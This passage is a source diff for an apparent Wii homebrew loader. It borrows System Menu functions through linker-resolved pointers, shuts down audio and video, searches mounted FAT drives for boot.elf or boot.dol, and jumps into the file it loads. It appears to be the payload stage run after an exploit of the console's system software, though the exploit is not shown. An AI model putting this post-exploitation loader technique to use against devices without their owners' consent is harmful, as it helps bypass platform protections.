break;
|
||||||
|
|
||||||
|
case 's':
|
||||||
|
;
|
||||||
|
char *s = va_arg(ap, char *);
|
||||||
|
while (*s)
|
||||||
|
put(*s++);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'x':
|
||||||
|
radix = 16;
|
||||||
|
|
||||||
|
case 'u':
|
||||||
|
is_signed = 0;
|
||||||
|
|
||||||
|
case 'd':
|
||||||
|
;
|
||||||
|
u64 x;
|
||||||
|
if (is_signed) {
|
||||||
|
if (ll == 0)
|
||||||
|
x = va_arg(ap, int);
|
||||||
|
else if (ll == 1)
|
||||||
|
x = va_arg(ap, long);
|
||||||
|
else
|
||||||
|
x = va_arg(ap, long long);
|
||||||
|
} else {
|
||||||
|
if (ll == 0)
|
||||||
|
x = va_arg(ap, unsigned int);
|
||||||
|
else if (ll == 1)
|
||||||
|
x = va_arg(ap, unsigned long);
|
||||||
|
else
|
||||||
|
x = va_arg(ap, unsigned long long);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (is_signed) {
|
||||||
|
if ((long long)x < 0)
|
||||||
|
x = -x;
|
||||||
|
else
|
||||||
|
is_signed = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
char hold[22];
|
||||||
|
char *hld = &hold[sizeof hold];
|
||||||
|
*--hld = 0;
|
||||||
|
|
||||||
|
int len = 0;
|
||||||
|
do {
|
||||||
|
int dig = extract_dig(&x, radix);
|
||||||
|
if (dig >= 10)
|
||||||
|
dig += 'a' - 10;
|
||||||
|
else
|
||||||
|
dig += '0';
|
||||||
|
*--hld = dig;
|
||||||
|
len++;
|
||||||
|
} while (x);
|
||||||
|
if (is_signed)
|
||||||
|
*--hld = '-';
|
||||||
|
|
||||||
|
while (len < prec) {
|
||||||
|
put(zero ? '0' : ' ');
|
||||||
|
len++;
|
||||||
|
}
|
||||||
|
while (*hld)
|
||||||
|
put(*hld++);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
va_end(ap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
19
loader_smFuncs/crt0.s
Normal file
19
loader_smFuncs/crt0.s
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
# This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
.globl _start
|
||||||
|
_start:
|
||||||
|
# as long as it doesn't crash, this is a good enough stack
|
||||||
|
# we cant use the existing stack as we might be loading an elf in that location
|
||||||
|
lis 1, 0x9310;
|
||||||
|
|
||||||
|
# initialize bss? meh
|
||||||
|
# Clear BSS.
|
||||||
|
# lis 3,__bss_start@ha ; addi 3,3,__bss_start@l
|
||||||
|
# li 4,0
|
||||||
|
# lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3
|
||||||
|
# bl memset
|
||||||
|
|
||||||
|
# there is no branch to main() or anything here because the ld script
|
||||||
|
# and compiler options insert main() directly after this file. so no branching needed
|
BIN
loader_smFuncs/loader.bin
Executable file
BIN
loader_smFuncs/loader.bin
Executable file
Binary file not shown.
BIN
loader_smFuncs/loader.elf
Executable file
BIN
loader_smFuncs/loader.elf
Executable file
Binary file not shown.
115
loader_smFuncs/loader.h
Normal file
115
loader_smFuncs/loader.h
Normal file
@ -0,0 +1,115 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#ifndef _LOADER_H
|
||||||
|
#define _LOADER_H
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
|
||||||
|
// String functions.
|
||||||
|
|
||||||
|
//size_t strlen(const char *);
|
||||||
|
//size_t strnlen(const char *, size_t);
|
||||||
|
void *memset(void *, int, size_t) __attribute__ ((externally_visible));
|
||||||
|
void *memcpy(void *, const void *, size_t);
|
||||||
|
int memcmp(const void *, const void *, size_t);
|
||||||
|
|
||||||
|
|
||||||
|
// Basic types.
|
||||||
|
|
||||||
|
typedef unsigned char u8;
|
||||||
|
typedef unsigned short int u16;
|
||||||
|
typedef unsigned int u32;
|
||||||
|
typedef unsigned long long int u64;
|
||||||
|
/*
|
||||||
|
static inline u16 le16(const u8 *p)
|
||||||
|
{
|
||||||
|
return p[0] | (p[1] << 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u32 le32(const u8 *p)
|
||||||
|
{
|
||||||
|
return p[0] | (p[1] << 8) | (p[2] << 16) | (p[3] << 24);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
|
||||||
|
// Basic I/O.
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
static inline u32 read32(u32 addr)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
asm volatile("lwz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void write32(u32 addr, u32 x)
|
||||||
|
{
|
||||||
|
asm("stw %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u16 read16(u32 addr)
|
||||||
|
{
|
||||||
|
u16 x;
|
||||||
|
|
||||||
|
asm volatile("lhz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void write16(u32 addr, u16 x)
|
||||||
|
{
|
||||||
|
asm("sth %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Address mapping.
|
||||||
|
/*
|
||||||
|
static inline u32 virt_to_phys(const void *p)
|
||||||
|
{
|
||||||
|
return (u32)p & 0x7fffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void *phys_to_virt(u32 x)
|
||||||
|
{
|
||||||
|
return (void *)(x | 0x80000000);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// USB Gecko.
|
||||||
|
|
||||||
|
|
||||||
|
void usbgecko_init(void);
|
||||||
|
int usbgecko_checkgecko(void);
|
||||||
|
void usbgecko_console_putc(u8 c);
|
||||||
|
|
||||||
|
|
||||||
|
// Version string.
|
||||||
|
|
||||||
|
//extern const char version[];
|
||||||
|
|
||||||
|
|
||||||
|
// Video.
|
||||||
|
|
||||||
|
//void video_init(void);
|
||||||
|
//void fb_putc(char);
|
||||||
|
|
||||||
|
|
||||||
|
// Console.
|
||||||
|
|
||||||
|
//void console_init(void);
|
||||||
|
int printf(const char *fmt, ...);
|
||||||
|
#else
|
||||||
|
#define printf( ... )
|
||||||
|
#define usbgecko_init()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
35
loader_smFuncs/loader.lds
Normal file
35
loader_smFuncs/loader.lds
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
|
||||||
|
|
||||||
|
OUTPUT_FORMAT("elf32-powerpc")
|
||||||
|
OUTPUT_ARCH(powerpc:common)
|
||||||
|
|
||||||
|
ENTRY(_start)
|
||||||
|
|
||||||
|
SECTIONS {
|
||||||
|
. = 0x92ffffd4;
|
||||||
|
.sbss : {
|
||||||
|
*(.bss.a)
|
||||||
|
*(.bss.b)
|
||||||
|
*(.bss.c)
|
||||||
|
*(.bss.d)
|
||||||
|
*(.bss.e)
|
||||||
|
*(.bss.f)
|
||||||
|
*(.bss.g)
|
||||||
|
*(.bss.h)
|
||||||
|
*(.bss.i)
|
||||||
|
*(.bss.j)
|
||||||
|
*(.bss.k)
|
||||||
|
}
|
||||||
|
|
||||||
|
.start : { crt0.o(*) }
|
||||||
|
.text.main : { *(.text.main) }
|
||||||
|
.text : { *(.text) }
|
||||||
|
.rodata : { *(.rodata .rodata.*)}
|
||||||
|
.data : { *(.data) }
|
||||||
|
|
||||||
|
.bss : {
|
||||||
|
*(.bss)
|
||||||
|
}
|
||||||
|
}
|
263
loader_smFuncs/main.c
Normal file
263
loader_smFuncs/main.c
Normal file
@ -0,0 +1,263 @@
|
|||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
#define MIN( x, y ) ( ( x ) < ( y ) ? ( x ) : ( y ) )
|
||||||
|
#define TV( x )\
|
||||||
|
printf( #x": %08x\n", (x) );
|
||||||
|
|
||||||
|
// this is to make all these function pointers point to the right spot
|
||||||
|
//! they are sort of statically-dynamically linked (tm) functions
|
||||||
|
//! we rely on the ld script and the code that loads this binary to take care of the linking
|
||||||
|
|
||||||
|
#define IMPORT( x ) __attribute__((section(".bss." #x )))
|
||||||
|
|
||||||
|
// which version of their filestruct is used
|
||||||
|
u32 IMPORT( a ) fileStructVersion;
|
||||||
|
|
||||||
|
// reboot the system menu
|
||||||
|
void __attribute__(( noreturn, section(".bss.b") ))(*OSReturnToMenu)();
|
||||||
|
|
||||||
|
// kill audio
|
||||||
|
void IMPORT( c ) (*__OSStopAudioSystem)();
|
||||||
|
|
||||||
|
// abort gx stuff
|
||||||
|
void IMPORT( d ) (*__GXAbort)();
|
||||||
|
|
||||||
|
// open a file from the currently mounted device
|
||||||
|
//! returns pointer to file object
|
||||||
|
u32* IMPORT( e ) (*VFSysOpenFile_current)( const char* path, const char* mode );
|
||||||
|
|
||||||
|
// read an open file
|
||||||
|
//! returns 0 on success?
|
||||||
|
int IMPORT( f ) (*VFSysReadFile)( u32 *outLength, void* buffer, u32 size, u32 *fp );
|
||||||
|
|
||||||
|
// release stm
|
||||||
|
void IMPORT( g ) (*__OSUnRegisterStateEvent)();
|
||||||
|
|
||||||
|
// blackout the screen
|
||||||
|
void IMPORT( h ) (*VISetBlack)( int one );
|
||||||
|
|
||||||
|
// flush video
|
||||||
|
void IMPORT( i ) (*VIFlush)();
|
||||||
|
|
||||||
|
// convert a letter to a mounted FAT device
|
||||||
|
//! returns a 'pointer' to the device mounted at that letter or 0 on error
|
||||||
|
u32 IMPORT( j ) (*VFiPFVOL_GetVolumeFromDrvChar)( int letter );
|
||||||
|
|
||||||
|
// set a FAT device as current
|
||||||
|
//! no clue what the return value is. it wasnt being checked in the code i looked at
|
||||||
|
u32 IMPORT( k ) (*VFiPFVOL_SetCurrentVolume)( u32 pointer );
|
||||||
|
|
||||||
|
void *sync_before_exec( void *p, u32 len )
|
||||||
|
{
|
||||||
|
u32 a, b;
|
||||||
|
|
||||||
|
a = (u32)p & ~0x1f;
|
||||||
|
b = ((u32)p + len + 0x1f) & ~0x1f;
|
||||||
|
|
||||||
|
for ( ; a < b; a += 32)
|
||||||
|
{
|
||||||
|
asm("dcbst 0,%0 ; sync ; icbi 0,%0 ; isync" : : "b"(a));// this is probably superfluous cache syncing, but it saves 4 bytes in the final binary
|
||||||
|
}
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
char ascii( char s ) {
|
||||||
|
if ( s < 0x20 ) return '.';
|
||||||
|
if ( s > 0x7E ) return '.';
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
void hexdump( const void *d, int len ) {
|
||||||
|
unsigned char *data;
|
||||||
|
int i, off;
|
||||||
|
data = (unsigned char*)d;
|
||||||
|
printf( "\n");
|
||||||
|
for ( off = 0; off < len; off += 16 ) {
|
||||||
|
printf( "%08x ", off );
|
||||||
|
for ( i=0; i<16; i++ )
|
||||||
|
{
|
||||||
|
if( ( i + 1 ) % 4 )
|
||||||
|
{
|
||||||
|
if ( ( i + off ) >= len ) printf(" ");
|
||||||
|
else printf("%02x",data[ off + i ]);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if ( ( i + off ) >= len ) printf(" ");
|
||||||
|
else printf("%02x ",data[ off + i ]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf( " " );
|
||||||
|
for ( i = 0; i < 16; i++ )
|
||||||
|
if ( ( i + off) >= len ) printf(" ");
|
||||||
|
else printf("%c", ascii( data[ off + i ]));
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define hexdump( x, y )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct _dolheader {
|
||||||
|
u32 data_pos[ 18 ];
|
||||||
|
u32 data_start[ 18 ];
|
||||||
|
u32 data_size[ 18 ];
|
||||||
|
u32 bss_start;
|
||||||
|
u32 bss_size;
|
||||||
|
void *entry_point;
|
||||||
|
} dolheader;
|
||||||
|
|
||||||
|
// this dol loader makes a lot of assumptions. like that the dol is valid
|
||||||
|
//! it will try to load any pointer passed to except NULL
|
||||||
|
static void LoadDol( const void *dolstart )
|
||||||
|
{
|
||||||
|
u32 i;
|
||||||
|
dolheader *dolfile;
|
||||||
|
dolfile = (dolheader *) dolstart;
|
||||||
|
if( !dolstart )
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for( i = 0; i < 18; i++ )
|
||||||
|
{
|
||||||
|
sync_before_exec( memcpy( (void *)dolfile->data_start[ i ], dolstart+dolfile->data_pos[ i ], dolfile->data_size[ i ] ), dolfile->data_size[ i ] );
|
||||||
|
}
|
||||||
|
|
||||||
|
memset( (void *)dolfile->bss_start, 0, dolfile->bss_size );
|
||||||
|
void __attribute__(( noreturn )) (*Entry)() = dolfile->entry_point;
|
||||||
|
Entry();
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline int valid_elf_image(void *addr)
|
||||||
|
{
|
||||||
|
u32 *header = addr;
|
||||||
|
|
||||||
|
return addr && header[0] == 0x7f454c46 // ELF
|
||||||
|
&& header[1] == 0x01020100 // 32-bit, BE, ELF v1, SVR
|
||||||
|
&& header[4] == 0x00020014 // executable, PowerPC
|
||||||
|
&& header[5] == 1 // object file v1
|
||||||
|
&& (header[10] & 0xffff) == 32; // PHDR size
|
||||||
|
}
|
||||||
|
|
||||||
|
// either loads the elf and executes it, or returns the same pointer it was passed
|
||||||
|
static inline void *LoadElf( void *addr )
|
||||||
|
{
|
||||||
|
if( !valid_elf_image( addr ) )
|
||||||
|
{
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 *header = addr;
|
||||||
|
u32 *phdr = addr + header[7];
|
||||||
|
u32 n = header[11] >> 16;
|
||||||
|
u32 i;
|
||||||
|
|
||||||
|
for (i = 0; i < n; i++, phdr += 8) {
|
||||||
|
if (phdr[0] != 1) // PT_LOAD
|
||||||
|
continue;
|
||||||
|
|
||||||
|
u32 off = phdr[1];
|
||||||
|
void *dest = (void *)phdr[3];
|
||||||
|
u32 filesz = phdr[4];
|
||||||
|
u32 memsz = phdr[5];
|
||||||
|
|
||||||
|
//memcpy(dest, addr + off, filesz);
|
||||||
|
//memset(dest + filesz, 0, memsz - filesz);
|
||||||
|
|
||||||
|
//sync_before_exec( dest, memsz );
|
||||||
|
|
||||||
|
// passing the return walue of memcpy to the sync_before_exec saves 4 bytes
|
||||||
|
sync_before_exec( memcpy( dest, addr + off, filesz ), memsz );
|
||||||
|
memset(dest + filesz, 0, memsz - filesz);
|
||||||
|
}
|
||||||
|
void __attribute__(( noreturn )) (*Entry)() = (void *)header[6];
|
||||||
|
Entry();
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanup a little bit
|
||||||
|
void ShutDown()
|
||||||
|
{
|
||||||
|
__GXAbort();
|
||||||
|
__OSStopAudioSystem();
|
||||||
|
__OSUnRegisterStateEvent();
|
||||||
|
}
|
||||||
|
|
||||||
|
// making this global shaves off 4 bytes
|
||||||
|
u32 justRead = 0;
|
||||||
|
|
||||||
|
u8* OpenAndReadFile()
|
||||||
|
{
|
||||||
|
u8 *buf = (u8*)0x92100000;
|
||||||
|
|
||||||
|
printf( "OpenAndReadFile(): " );
|
||||||
|
u32 size;
|
||||||
|
|
||||||
|
// open file
|
||||||
|
u32* fp = VFSysOpenFile_current( "/boot.elf", "r+" );
|
||||||
|
if( !fp )
|
||||||
|
{
|
||||||
|
fp = VFSysOpenFile_current( "/boot.dol", "r+" );
|
||||||
|
if( !fp )
|
||||||
|
{
|
||||||
|
printf( "no elf or dol found\n" );
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//printf( "fd: %08x\n", fp );
|
||||||
|
|
||||||
|
// get size
|
||||||
|
size = *(u32*)( fp[ 2 ] + fileStructVersion );
|
||||||
|
|
||||||
|
// read
|
||||||
|
printf( "reading 0x%0x bytes...", size );
|
||||||
|
VFSysReadFile( &justRead, buf, size, fp );
|
||||||
|
//printf( "VFSysReadFile( %08x, %08x ): %d\n", justRead, (u32)buf, r );
|
||||||
|
if( justRead != size )
|
||||||
|
{
|
||||||
|
printf( "short read\n" );
|
||||||
|
OSReturnToMenu();
|
||||||
|
}
|
||||||
|
printf( "ok\n" );
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
u8 MountDrive( int drive )
|
||||||
|
{
|
||||||
|
printf( "MountDrive( \'%c\' ): ", drive );
|
||||||
|
u32 volume = VFiPFVOL_GetVolumeFromDrvChar( drive );
|
||||||
|
if( !volume )
|
||||||
|
{
|
||||||
|
printf( "error getting volume \'%c\'\n", drive );
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
VFiPFVOL_SetCurrentVolume( volume );
|
||||||
|
printf( "ok\n" );
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void __attribute__(( noreturn )) main()
|
||||||
|
{
|
||||||
|
usbgecko_init();
|
||||||
|
VISetBlack( 1 );
|
||||||
|
VIFlush();
|
||||||
|
ShutDown();
|
||||||
|
|
||||||
|
// check all mounted FAT devices and look for boot.elf and boot.dol
|
||||||
|
int ch;
|
||||||
|
for( ch = 0x41; ch < 0x5b; ch++ )
|
||||||
|
{
|
||||||
|
// try to set current device
|
||||||
|
if( MountDrive( ch ) )
|
||||||
|
{
|
||||||
|
// try to load file from whatever device is set as current
|
||||||
|
LoadDol( LoadElf( OpenAndReadFile() ) );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf( "couldn\'t load file from any device. exiting...\n" );
|
||||||
|
OSReturnToMenu();
|
||||||
|
}
|
61
loader_smFuncs/string.c
Normal file
61
loader_smFuncs/string.c
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
#if 0
|
||||||
|
size_t strlen(const char *s)
|
||||||
|
{
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
for (len = 0; s[len]; len++)
|
||||||
|
;
|
||||||
|
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t strnlen(const char *s, size_t count)
|
||||||
|
{
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
for (len = 0; s[len] && len < count; len++)
|
||||||
|
;
|
||||||
|
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
int memcmp(const void *b1, const void *b2, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
|
int diff = ((unsigned char *)b1)[i] - ((unsigned char *)b2)[i];
|
||||||
|
if (diff)
|
||||||
|
return diff;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
void *memset(void *b, int c, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
((unsigned char *)b)[i] = c;
|
||||||
|
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *memcpy(void *dst, const void *src, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
|
||||||
|
|
||||||
|
return dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
95
loader_smFuncs/usbgecko.c
Normal file
95
loader_smFuncs/usbgecko.c
Normal file
@ -0,0 +1,95 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
// Based on code:
|
||||||
|
// Copyright (c) 2008 - Nuke - <wiinuke@gmail.com>
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static void exi_write(u32 addr, u32 x)
|
||||||
|
{
|
||||||
|
write32(0x0d006800 + addr, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u32 exi_read(u32 addr)
|
||||||
|
{
|
||||||
|
return read32(0x0d006800 + addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define EXI_CH1_STATUS 0x14
|
||||||
|
#define EXI_CH1_CONTROL 0x20
|
||||||
|
#define EXI_CH1_DATA 0x24
|
||||||
|
|
||||||
|
|
||||||
|
static void usbgecko_deselect_device(void)
|
||||||
|
{
|
||||||
|
exi_write(EXI_CH1_STATUS, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_select_device(void)
|
||||||
|
{
|
||||||
|
// device 0, 16MHz
|
||||||
|
exi_write(EXI_CH1_STATUS, 0xc0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_wait_for_transfer_complete(void)
|
||||||
|
{
|
||||||
|
while (exi_read(EXI_CH1_CONTROL) & 1)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
static int usbgecko_console_enabled = 0;
|
||||||
|
|
||||||
|
static u32 usbgecko_command(u32 command)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
usbgecko_select_device();
|
||||||
|
exi_write(EXI_CH1_DATA, command);
|
||||||
|
exi_write(EXI_CH1_CONTROL, 0x19); // 2 bytes immediate read/write
|
||||||
|
usbgecko_wait_for_transfer_complete();
|
||||||
|
|
||||||
|
x = exi_read(EXI_CH1_DATA);
|
||||||
|
|
||||||
|
usbgecko_deselect_device();
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
int usbgecko_checkgecko(void)
|
||||||
|
{
|
||||||
|
return usbgecko_command(0x90000000) == 0x04700000;
|
||||||
|
}
|
||||||
|
|
||||||
|
void usbgecko_console_putc(u8 c)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
if (!usbgecko_console_enabled)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c == '\n')
|
||||||
|
usbgecko_console_putc('\r');
|
||||||
|
|
||||||
|
x = usbgecko_command(0xb0000000 | (c << 20));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_flush(void)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
do {
|
||||||
|
x = usbgecko_command(0xa0000000);
|
||||||
|
} while (x & 0x08000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void usbgecko_init(void)
|
||||||
|
{
|
||||||
|
usbgecko_console_enabled = 0;
|
||||||
|
if (!usbgecko_checkgecko())
|
||||||
|
return;
|
||||||
|
|
||||||
|
usbgecko_console_enabled = 1;
|
||||||
|
usbgecko_flush();
|
||||||
|
}
|
402
source/aes.cpp
Normal file
402
source/aes.cpp
Normal file
@ -0,0 +1,402 @@
|
|||||||
|
/* Rijndael Block Cipher - aes.c
|
||||||
|
|
||||||
|
Written by Mike Scott 21st April 1999
|
||||||
|
mike@compapp.dcu.ie
|
||||||
|
|
||||||
|
Permission for free direct or derivative use is granted subject
|
||||||
|
to compliance with any conditions that the originators of the
|
||||||
|
algorithm place on its exploitation.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
//#include <stdio.h>
|
||||||
|
//#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#define u8 unsigned char /* 8 bits */
|
||||||
|
#define u32 unsigned long /* 32 bits */
|
||||||
|
#define u64 unsigned long long
|
||||||
|
|
||||||
|
/* rotates x one bit to the left */
|
||||||
|
|
||||||
|
#define ROTL(x) (((x)>>7)|((x)<<1))
|
||||||
|
|
||||||
|
/* Rotates 32-bit word left by 1, 2 or 3 byte */
|
||||||
|
|
||||||
|
#define ROTL8(x) (((x)<<8)|((x)>>24))
|
||||||
|
#define ROTL16(x) (((x)<<16)|((x)>>16))
|
||||||
|
#define ROTL24(x) (((x)<<24)|((x)>>8))
|
||||||
|
|
||||||
|
/* Fixed Data */
|
||||||
|
|
||||||
|
static u8 InCo[4]={0xB,0xD,0x9,0xE}; /* Inverse Coefficients */
|
||||||
|
|
||||||
|
static u8 fbsub[256];
|
||||||
|
static u8 rbsub[256];
|
||||||
|
static u8 ptab[256],ltab[256];
|
||||||
|
static u32 ftable[256];
|
||||||
|
static u32 rtable[256];
|
||||||
|
static u32 rco[30];
|
||||||
|
|
||||||
|
/* Parameter-dependent data */
|
||||||
|
|
||||||
|
int Nk,Nb,Nr;
|
||||||
|
u8 fi[24],ri[24];
|
||||||
|
u32 fkey[120];
|
||||||
|
u32 rkey[120];
|
||||||
|
|
||||||
|
static u32 pack(u8 *b)
|
||||||
|
{ /* pack bytes into a 32-bit Word */
|
||||||
|
return ((u32)b[3]<<24)|((u32)b[2]<<16)|((u32)b[1]<<8)|(u32)b[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static void unpack(u32 a,u8 *b)
|
||||||
|
{ /* unpack bytes from a word */
|
||||||
|
b[0]=(u8)a;
|
||||||
|
b[1]=(u8)(a>>8);
|
||||||
|
b[2]=(u8)(a>>16);
|
||||||
|
b[3]=(u8)(a>>24);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u8 xtime(u8 a)
|
||||||
|
{
|
||||||
|
u8 b;
|
||||||
|
if (a&0x80) b=0x1B;
|
||||||
|
else b=0;
|
||||||
|
a<<=1;
|
||||||
|
a^=b;
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
|
||||||
|
static u8 bmul(u8 x,u8 y)
|
||||||
|
{ /* x.y= AntiLog(Log(x) + Log(y)) */
|
||||||
|
if (x && y) return ptab[(ltab[x]+ltab[y])%255];
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static u32 SubByte(u32 a)
|
||||||
|
{
|
||||||
|
u8 b[4];
|
||||||
|
unpack(a,b);
|
||||||
|
b[0]=fbsub[b[0]];
|
||||||
|
b[1]=fbsub[b[1]];
|
||||||
|
b[2]=fbsub[b[2]];
|
||||||
|
b[3]=fbsub[b[3]];
|
||||||
|
return pack(b);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u8 product(u32 x,u32 y)
|
||||||
|
{ /* dot product of two 4-byte arrays */
|
||||||
|
u8 xb[4],yb[4];
|
||||||
|
unpack(x,xb);
|
||||||
|
unpack(y,yb);
|
||||||
|
return bmul(xb[0],yb[0])^bmul(xb[1],yb[1])^bmul(xb[2],yb[2])^bmul(xb[3],yb[3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u32 InvMixCol(u32 x)
|
||||||
|
{ /* matrix Multiplication */
|
||||||
|
u32 y,m;
|
||||||
|
u8 b[4];
|
||||||
|
|
||||||
|
m=pack(InCo);
|
||||||
|
b[3]=product(m,x);
|
||||||
|
m=ROTL24(m);
|
||||||
|
b[2]=product(m,x);
|
||||||
|
m=ROTL24(m);
|
||||||
|
b[1]=product(m,x);
|
||||||
|
m=ROTL24(m);
|
||||||
|
b[0]=product(m,x);
|
||||||
|
y=pack(b);
|
||||||
|
return y;
|
||||||
|
}
|
||||||
|
|
||||||
|
u8 ByteSub(u8 x)
|
||||||
|
{
|
||||||
|
u8 y=ptab[255-ltab[x]]; /* multiplicative inverse */
|
||||||
|
x=y; x=ROTL(x);
|
||||||
|
y^=x; x=ROTL(x);
|
||||||
|
y^=x; x=ROTL(x);
|
||||||
|
y^=x; x=ROTL(x);
|
||||||
|
y^=x; y^=0x63;
|
||||||
|
return y;
|
||||||
|
}
|
||||||
|
|
||||||
|
void gentables(void)
|
||||||
|
{ /* generate tables */
|
||||||
|
int i;
|
||||||
|
u8 y,b[4];
|
||||||
|
|
||||||
|
/* use 3 as primitive root to generate power and log tables */
|
||||||
|
|
||||||
|
ltab[0]=0;
|
||||||
|
ptab[0]=1; ltab[1]=0;
|
||||||
|
ptab[1]=3; ltab[3]=1;
|
||||||
|
for (i=2;i<256;i++)
|
||||||
|
{
|
||||||
|
ptab[i]=ptab[i-1]^xtime(ptab[i-1]);
|
||||||
|
ltab[ptab[i]]=i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* affine transformation:- each bit is xored with itself shifted one bit */
|
||||||
|
|
||||||
|
fbsub[0]=0x63;
|
||||||
|
rbsub[0x63]=0;
|
||||||
|
for (i=1;i<256;i++)
|
||||||
|
{
|
||||||
|
